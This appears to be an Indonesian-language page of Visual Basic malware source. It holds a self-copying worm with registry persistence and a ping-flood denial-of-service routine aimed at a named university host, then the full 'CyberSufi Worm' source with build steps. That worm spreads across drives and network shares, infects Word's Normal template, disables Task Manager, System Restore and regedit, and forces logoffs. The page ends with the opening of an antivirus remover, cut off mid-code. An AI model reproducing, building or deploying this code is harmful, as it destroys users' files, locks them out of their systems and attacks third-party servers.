Public Declare Function IcmpCreateFile Lib "icmp.dll" () As Long

Public Declare Function IcmpCloseHandle Lib "icmp.dll" _
(ByVal IcmpHandle As Long) As Long

Public Declare Function IcmpSendEcho Lib "icmp.dll" _
(ByVal IcmpHandle As Long, _
ByVal DestinationAddress As Long, _
ByVal RequestData As String, _
ByVal RequestSize As Integer, _
RequestOptions As ICMP_OPTIONS, _
ReplyBuffer As ICMP_ECHO_REPLY, _
ByVal ReplySize As Long, _
ByVal TimeOut As Long) As Long
'///////////////akhir deklarasi kode DoS attack//////////////


'////////////////awal Kode manipulasi dan pencarian////////////////////

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

Screen.MousePointer = vbHourglass

Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String

fPath = AddBackslash(Path)

Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern


hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If

If hFile > 0 Then
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If
Wend
End If

If SubFolder Then


hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then

GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If

While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then


GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend

End If
FindClose hFile



Screen.MousePointer = vbDefault

End Sub


Private Function StripNulls(f As String) As String

StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function

Private Function AddBackslash(S As String) As String

If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function

Sub pencarian()
GetFiles "c:", True, "*.cob"

MsgBox "Pencarian selesai", 0, "Tes Cari"
End Sub
'////////////////akhir Kode manipulasi dan pencarian////////////////////

'////////////////awal Kode Pengganda////////////////////
Private Function DriveType(Drive As String) As String
''////fungsi mengecek drive
Dim sAns As String, lAns As Long

'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"

lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select

DriveType = sAns

End Function

Private Sub kodepengganda()
''///mengecek drive dan mengcopy file penanda
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte


For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"

If DriveType(sDrive) <> "Drive Doesn't Exist" Then
On Error Resume Next
penanda = Len(Chr(ictr & App.Path)) & "1234567890"
'MsgBox penanda
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & ictr & "koderangkaian.exe"
End If
'App.EXEName = penanda & ".exe"
Next

End Sub

Private Sub kopikewindows()
''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\tes_di_direktory_windows.exe"
End Sub
'////////////////akhir Kode Pengganda////////////////////

'////////////////awal Kode Pertahanan////////////////////
Public Sub CreateKey(Folder As String, Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value

End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"

End Sub

Public Sub DeleteKey(Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value

End Sub
Sub kodepertahanan()
'////////menyembunyikan file yang mempunyai attribut hide//////////
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue", 1

CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue", 2

CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0

'//////////Non aktifkan folder option////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
'//////////Kunci Regedit////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
'////////menyembunyikan extensi file//////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1

Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test", _
titik & "c:\windows\tes_di_direktory_windows.exe" & titik

CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test2", _
titik & "d:\tes.exe" & titik

End Sub
'////////////////akhir Kode Pertahanan////////////////////

'////////////////awal Kode pesan sponsor////////////////////
Public Sub Log(strLog As String)
Dim ff As Integer

ff = FreeFile
x = GetWindowsDirectory(buffer, 255)

On Error Resume Next
Open Left(buffer, x) & "\help.htm" For Output As #ff
Print #ff, strLog
Close #ff

End Sub

Sub pesansponsor()
Dim tt As String
tt = """"

Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & Left(buffer, x) & "/help.htm", vbNormalFocus
End Sub
'////////////////akhir Kode pesan sponsor////////////////////

'///////////////Awal Kode Dos Attack/////////////////////////
Public Function Ping(szAddress As String, ECHO As ICMP_ECHO_REPLY, TTL As Integer) As Long

Dim hPort As Long
Dim dwAddress As Long
Dim sDataToSend As String
Dim iOpt As ICMP_OPTIONS
Dim timeout_ping As Long

sDataToSend = "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
"kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo"

dwAddress = AddressStringToLong(szAddress)

hPort = IcmpCreateFile()
ECHO.Options.TTL = TTL
iOpt.TTL = TTL
If IcmpSendEcho(hPort, _
dwAddress, _
sDataToSend, _
Len(sDataToSend), _
iOpt, _
ECHO, _
Len(ECHO), _
timeout_ping) Then
Ping = ECHO.RoundTripTime
Else
Ping = ECHO.status * -1
End If

Call IcmpCloseHandle(hPort)

End Function

Public Function AddressStringToLong(ByVal tmp As String) As Long

Dim i As Integer
Dim parts(1 To 4) As String

i = 0

While InStr(tmp, ".") > 0
i = i + 1
parts(i) = Mid(tmp, 1, InStr(tmp, ".") - 1)
tmp = Mid(tmp, InStr(tmp, ".") + 1)
Wend

i = i + 1
parts(i) = tmp

If i <> 4 Then
AddressStringToLong = 0
Exit Function
End If

AddressStringToLong = Val("&H" & Right("00" & Hex(parts(4)), 2) & _
Right("00" & Hex(parts(3)), 2) & _
Right("00" & Hex(parts(2)), 2) & _
Right("00" & Hex(parts(1)), 2))

End Function

Sub seranganDoS()
Dim ECHO As ICMP_ECHO_REPLY
Dim angka As Long

For angka = 1 To 65000
Call Ping("www.akprind.ac.id", ECHO, 30)
Next angka
End Sub
'///////////////Akhir Kode Dos Attack/////////////////////////

Sub Main()
kodepertahanan
kodepengganda
pencarian
pesansponsor
seranganDoS
End Sub

SOURCE CODE WORM

Worm ini akan menggandakan dirinya sendiri di memori atau membentuk file-file baru
dengan kriteria tertentu atau meminjam nama suatu folder atau file atau juga
menindih file yang ada dengan program utamanya sehingga file tersebut rusak
diganti dengan program worm tersebut. Target worm ini dokumen word dan file dengan extension mp3,jpg,bmp,doc,sys,dll,3gp,docx.
Animasi worm ini membelah layar window dan mengunci Windows XP dengan syskey.
Tambahan lainnya Worm ini mengunci setingan folder option, run, msconfig, regedit, taskmanager
dan lain-lian.
Simpan project dengan nama csw.vbp lalu
buatlah file exe nya dengan cara klik menu file pada visual basic selanjutnya
klik make csw.exe.

Cara pembuatannya:
1. Bukalah 1 Project dan 1 Form(name=csw)
2. Tambahkan 2 Picture box
3. Tambahkan 5 Timer, Timer1(interval=50000), Timer2(interval=1000), Timer3(interval=60000), Timer4(interval=1),
Timer5(interval=60000),

Copy coding dibawah ini dan paste di Editor Form:

'----------------------------------------------------------------
' CSW : CyberSufi Worm
' M3R : Megatruh variant 3 Reincarnation
' (2006)CopyLeft, Cybesufi, Tri Amperiyanto, Java, Indonesia
' email : megatruh@hotmail.com
' For educational purposes only !
' Evil is not aim but fulfill perfectness !
'----------------------------------------------------------------
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4

Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long


Dim pict As Picture
Dim a As Integer

Private Declare Function BitBlt _
Lib "gdi32" ( _
ByVal hDestDC As Long, _
ByVal X As Long, ByVal Y As Long, _
ByVal nWidth As Long, _
ByVal nHeight As Long, _
ByVal hSrcDC As Long, _
ByVal XSrc As Long, ByVal YSrc As Long, _
ByVal dwRop As Long _
) As Long

Private Declare Function GetDesktopWindow _
Lib "user32" () As Long

Private Declare Function GetDC _
Lib "user32" ( _
ByVal hwnd As Long _
) As Long

Private Declare Function ReleaseDC _
Lib "user32" ( _
ByVal hwnd As Long, _
ByVal hdc As Long _
) As Long

Private Const SWP_NOSIZE = &H1
Private Const SWP_NOMOVE = &H2
Private Const SWP_NOZORDER = &H4
Private Const SWP_NOREDRAW = &H8
Private Const SWP_NOACTIVATE = &H10
Private Const SWP_FRAMECHANGED = &H20
Private Const SWP_SHOWWINDOW = &H40
Private Const SWP_HIDEWINDOW = &H80
Private Const SWP_NOCOPYBITS = &H100
Private Const SWP_NOOWNERZORDER = &H200
Private Const SWP_DRAWFRAME = SWP_FRAMECHANGED
Private Const SWP_NOREPOSITION = SWP_NOOWNERZORDER
Private Const HWND_TOP = 0
Private Const HWND_BOTTOM = 1
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private Declare Function SetWindowPos _
Lib "user32" ( _
ByVal hwnd As Long, _
ByVal hwndInsertAfter As Long, _
ByVal X As Long, _
ByVal Y As Long, _
ByVal CX As Long, _
ByVal CY As Long, _
ByVal wFlags As Long _
) As Long
Private mbOnTop As Boolean

Private Property Let OnTop(Setting As Boolean)
If Setting Then
SetWindowPos hwnd, HWND_TOPMOST, _
0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
Else
SetWindowPos hwnd, HWND_NOTOPMOST, _
0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
End If
mbOnTop = Setting
End Property

Private Property Get OnTop() As Boolean
OnTop = mbOnTop
End Property


Private Sub Form_Load()
On Error Resume Next

Dim drives
Dim regrun
Dim xx
Dim X
Dim Y
Dim z
Dim zz
Dim fso

'---
App.TaskVisible = False

'===
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Stask", "c:\csw.exe"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoRun", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableRegistryTools", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", 1, "REG_DWORD"
regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", 1, "REG_DWORD"

'=
X = App.path & "\" & App.EXEName & ".exe"
Y = "c:\WINDOWS\creditcardinfo.txt.EXE"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = "c:\windows\readme.txt"
zzzzz = "c:\windows\system32\readme.txt"
mark = "c:\version.sys"

CopyFile X, Y, 0
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0
CopyFile X, zzzzz, 0


'=
If Dir("c:\version.sys") = "" Then
Set fso = CreateObject("scripting.filesystemobject")
Set drives = fso.drives
For Each Drive In drives
If Drive.isready Then
CopyFile X, mark, 0
Dosearch (Drive & "\")
End If
Next
End If

Timer1.Enabled = True
Timer2.Enabled = True
Timer3.Enabled = True
Timer4.Enabled = True
Timer5.Enabled = True
Call NetSpread
Call Main
End Sub


'=
Function Dosearch(path)

On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set folder = fso.getfolder(path)
Set Files = folder.Files

For Each file In Files
'=
If LCase(fso.GetExtensionName(file.path)) = "doc" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "sys" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "dll" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "jpg" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "bmp" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If
'=
If LCase(fso.GetExtensionName(file.path)) = "mp3" Then
Set cop = fso.getFile("c:\readme.txt")
cop.Copy (file.path & ".exe")
End If

On Error Resume Next

Next

Set Subfolders = folder.Subfolders
For Each Subfolder In Subfolders
Dosearch Subfolder.path
Next
End Function


Sub NetSpread()

On Error Resume Next
Set Network = CreateObject("WScript.Network")
Set Shares = Network.EnumNetworkDrives

If Shares.Count > 0 Then
Set fso = CreateObject("Scripting.FileSystemObject")
For Counter1 = 0 To Shares.Count - 1
If Shares.Item(Counter1) <> "" Then
fso.getFile(wscript.ScriptFullName).Copy ("kamasutra.txt.exe")
Dosearch (Shares.Item(Counter1))
End If
Next
Set fso = Nothing

End If
Set Shares = Nothing
Set Network = Nothing
End Sub

'=
Sub Main()
On Error Resume Next
Dim zz, zz1, file, fso, oword, nt, b, i, iw, attr
zz1 = App.path & "\" & App.EXEName & ".exe"
file = "c:\csw.exe"
file2 = "c:\windows\readme.txt.exe"
file3 = "c:\windows\ccinfo.exe"

CopyFile zz1, file, 0
CopyFile zz1, file2, 0
CopyFile zz1, file3, 0


On Error Resume Next
Open "c:\v.reg" For Output As 2
Print #2, "REGEDIT4"
Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]"
Print #2, """Level""=dword:00000001"
Print #2, "[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]"
Print #2, """Level""=dword:00000001"
Close 2
Shell "regedit /s c:\v.reg", vbHide
Kill "c:\v.reg"

On Error Resume Next
Open "c:\vv.reg" For Output As 5
Print #5, "Windows Registry Editor Version 5.00"
Print #5, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]"
Print #5, """Level""=dword:00000001"
Print #5, "[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]"
Print #5, """Level""=dword:00000001"
Close 5
Shell "regedit /s c:\vv.reg", vbHide
Kill "c:\vv.reg"

On Error Resume Next
If Dir("c:\m3r.sys") <> "m3r.sys" Then
Open "c:\m3r.sys" For Output As 9
Print #9, "Sub document_close()"
Print #9, "On Error Resume Next"
Print #9, "Open ""c:\m3r.txt"" For Output As 2"
Print #9, "Print #2, ""sub document_open()"""
Print #9, "Print #2, ""On Error Resume Next"""
Print #9, "Print #2, ""'by M3:Reincarnation"""
Print #9, "Print #2, ""obj = ActiveDocument.Shapes(1).OLEFormat.ClassType"""
Print #9, "Print #2, ""With ActiveDocument.Shapes(1).OLEFormat"""
Print #9, "Print #2, "" .ActivateAs ClassType:=obj"""
Print #9, "Print #2, "" .Activate"""
Print #9, "Print #2, ""End With"""
Print #9, "Print #2, ""end sub"""
Print #9, "Close 2"
Print #9, "Set fso = CreateObject(""Scripting.FileSystemObject"")"
Print #9, "Set nt = ActiveDocument.VBProject.vbcomponents(1).codemodule"
Print #9, "Set iw = fso.OpenTextFile(""c:\m3r.txt"", 1, True)"
Print #9, "nt.DeleteLines 1, nt.CountOfLines"
Print #9, "i = 1"
Print #9, "Do While iw.atendofstream <> True"
Print #9, "b = iw.readline"
Print #9, "nt.InsertLines i, b"
Print #9, "i = i + 1"
Print #9, "Loop"
Print #9, "ActiveDocument.Shapes.AddOLEObject _"
Print #9, "FileName:=""c:\csw.exe"", _"
Print #9, "LinkToFile:=False"
Print #9, "ActiveDocument.Save"
Print #9, "Open ""c:\vv.reg"" For Output As 3"
Print #9, "Print #3, ""REGEDIT4"""
Print #9, "Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]"""
Print #9, "Print #3, """"""Level""""=dword:00000001"""
Print #9, "Print #3, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]"""
Print #9, "Print #3, """"""Level""""=dword:00000001"""
Print #9, "Close 3"
Print #9, "Shell ""regedit /s c:\vv.reg"", vbHide"
Print #9, "Kill ""c:\vv.reg"""
Print #9, "Open ""c:\vvv.reg"" For Output As 4"
Print #9, "Print #4, ""Windows Registry Editor Version 5.00"""
Print #9, "Print #4, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security]"""
Print #9, "Print #4, """"""Level""""=dword:00000001"""
Print #9, "Print #4, ""[HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security]"""
Print #9, "Print #4, """"""Level""""=dword:00000001"""
Print #9, "Close 4"
Print #9, "Shell ""regedit /s c:\vvv.reg"", vbHide"
Print #9, "Kill ""c:\vvv.reg"""
Print #9, "End Sub"
Close 9

On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set oword = CreateObject("Word.Application")
oword.Visible = False
Set nt = oword.NormalTemplate.vbproject.vbcomponents(1).codemodule
Set iw = fso.OpenTextFile("c:\m3r.sys", 1, True)
nt.DeleteLines 1, nt.CountOfLines
i = 1
Do While iw.atendofstream <> True
b = iw.readline
nt.InsertLines i, b
i = i + 1
Loop

On Error Resume Next
oword.NormalTemplate.Save
SetAttr oword.NormalTemplate.Fullname, vbReadOnly
oword.NormalTemplate.Close
Set oword = Nothing
End If

End Sub

'=
Private Sub Timer1_Timer()
On Error Resume Next
CopyFile "c:\readme.txt", "c:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "d:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "e:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "f:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "g:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "h:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "i:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "j:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
CopyFile "c:\readme.txt", "k:\" & "\" + "kamasutra.txt.exe", 0
On Error Resume Next
Call NetSpread
End Sub

'=
Private Sub Timer2_Timer()
On Error Resume Next
Dim strClassName As String
Dim strCaption As String

strClassName = "#32770"
strCaption = "System Configuration Utility"
If FindWindow(strClassName, strCaption) <> 0 Then
lngResult = ExitWindowsEx(4, &H0)
End If

strClassName = "RegEdit_RegEdit"
strCaption = "Registry Editor"
If FindWindow(strClassName, strCaption) <> 0 Then
lngResult = ExitWindowsEx(4, &H0)
End If

strClassName = "#32770"
strCaption = "Windows Task Manager"
If FindWindow(strClassName, strCaption) <> 0 Then
lngResult = ExitWindowsEx(4, &H0)
End If

strClassName = "ThunderRT6Main"
strCaption = "HijackThis"
If FindWindow(strClassName, strCaption) <> 0 Then
On Error Resume Next
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SecureBoot", 3, "REG_DWORD"
lngResult = ExitWindowsEx(4, &H0)
End If

On Error Resume Next
X = App.path & "\" & App.EXEName & ".exe"
Y = "c:\WINDOWS\msginax.dll"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = "c:\windows\readme.txt"
zzzzz = "c:\windows\system32\readme.txt"
CopyFile X, Y, 0
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0
CopyFile X, zzzzz, 0

On Error Resume Next
X = "c:\windows\system32\readme.txt"
Y = "c:\WINDOWS\msginax.dll"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = "c:\windows\readme.txt"
CopyFile X, Y, 0
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0

On Error Resume Next
X = "c:\readme.txt"
Y = "c:\WINDOWS\msginax.dll"
z = "c:\ccinfo.EXE"
zz = "c:\csw.exe"
zzz = "c:\readme.txt"
zzzz = "c:\windows\system32\readme.txt"
CopyFile X, Y, 0
CopyFile X, z, 0
CopyFile X, zz, 0
CopyFile X, zzz, 0
CopyFile X, zzzz, 0


'=
On Error Resume Next
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Stask", "c:\csw.exe"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoRun", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableRegistryTools", 1, "REG_DWORD"
regrun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\DisableTaskMgr", 1, "REG_DWORD"
regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", 1, "REG_DWORD"
regrun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", 1, "REG_DWORD"


End Sub

'=
Private Sub Timer3_Timer()
On Error Resume Next

If Day(Date) = 21 Or Day(Date) = 4 Or Day(Date) = 20 Or Day(Date) = 31 Or Day(Date) = 8 Then
lngResult = ExitWindowsEx(4, &H0)
End If


If Day(Date) = 13 Or Day(Date) = 26 Or Day(Date) = 1 Then
Set regrun = CreateObject("Wscript.shell")
regrun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SecureBoot", 3, "REG_DWORD"
For i% = 1 To 1000000
On Error Resume Next
Shell "c:\csw.exe"
Next i%
End If

If TimeValue(Now) > TimeValue("09:00:00") Then
Call animasi
End If

End Sub


Private Sub animasi()
Dim X As Long, Y As Long
Dim XSrc As Long, YSrc As Long
Dim dwRop As Long, hwndSrc As Long, hSrcDC As Long
Dim Res As Long
Dim m1, m2
Dim n1, n2
Dim PixelColor, PixelCount
OnTop = True
Randomize
a = Rnd * 3


On Error Resume Next
Width = Screen.Width
Height = Screen.Height
Randomize
ScaleMode = vbPixels
Move 0, 0, Screen.Width + 1, Screen.Height + 1
dwRop = &HCC0020
hwndSrc = GetDesktopWindow()
hSrcDC = GetDC(hwndSrc)
Res = BitBlt(hdc, 0, 0, ScaleWidth, _
ScaleHeight, hSrcDC, 0, 0, dwRop)
Res = ReleaseDC(hwndSrc, hSrcDC)
Show
Set pict = Image
WindowState = vbMaximized
Picture1.Width = Screen.Width \ 15
Picture1.Height = Screen.Height \ 15
Picture1 = pict
Picture2 = pict

End Sub


Private Sub Timer4_Timer()
On Error Resume Next
If a = 0 Then
Picture1.PaintPicture Picture2, 0, -2
Picture1.PaintPicture Picture2, 0, Picture1.ScaleHeight - 2
Picture2 = Picture1.Image
End If
If a = 1 Then
Picture1.PaintPicture Picture2, 0, 2
Picture1.PaintPicture Picture2, 0, -Picture1.ScaleHeight + 2
Picture2 = Picture1.Image
End If
If a = 2 Then
Picture1.PaintPicture Picture2, -2, 0
Picture1.PaintPicture Picture2, Picture1.ScaleWidth - 2, 0
Picture2 = Picture1.Image
End If
If a = 3 Then
Picture1.PaintPicture Picture2, 2, 0
Picture1.PaintPicture Picture2, -Picture1.ScaleWidth + 2, 0
Picture2 = Picture1.Image
End If

End Sub

Private Sub Timer5_Timer()
a = Rnd * 3
End Sub

ANTIVIRUS VSAR

Source code dibawah ini adalah program antivirus VSAR
silahkan anda pelajari lebih dalam
1. Bukalah 1 project(name=SimpleVirusRemover)
2. Tambahkan 1 Form(name=frmRemoval), Tambahkan:
a. CheckBox(name=chkBackup,caption=Make Backup)
b. 4 Commandbutton dengan Commandbutton1(name=cmdBrowse,cap=Browse)
Commandbutton2(name=cmdRepair,cap=Repai),Commandbutton3(name=cmdscan,cap=scan)
Commandbutton4(name=cmdStop,cap=stop)
c. 3 Label dengan Label1(name=lblStatus)
d. 1 ListBox(name=lstFound)
e. 1 TextBox(name=txtPath)
3. Tambahkan 4 Module dengan module1(name=mdlBrowseFolder),
module2(name=mdlFindFile),module3(name=mdlGetName)
module4(name=mdlWinExit)

Copy coding dibawah ini dan paste di Editor Form:

'VSar Removal by Achmad Darmal
'Tarakan, Kalimantan Timur - Indonesia
Option Explicit

Private Declare Function SleepEx Lib "Kernel32" (ByVal _
dwMilliseconds As Long, ByVal bAlertable As Long) As Long

Private Sub Form_Load()
On Error Resume Next
Dim Spawn As String
Spawn = GetStringValue("HKEY_CLASSES_ROOT\exefile\sh" & _
"ell\open\command", "")
If LCase(Left(Spawn, 11)) = "loadexe.exe" Then
Call Reconfig
End If
lblStatus.Caption = "#VSar Removal Ready# Waiti" & _
"ng for instruction..."
End Sub

Private Sub Reconfig()
SetStringValue "HKEY_CLASSES_ROOT\exefile\shell\open\c" & _
"ommand", "", Chr(34) & Chr(37) & Chr(49) & Chr(34) & " " & _
Chr(37) & Chr(42)
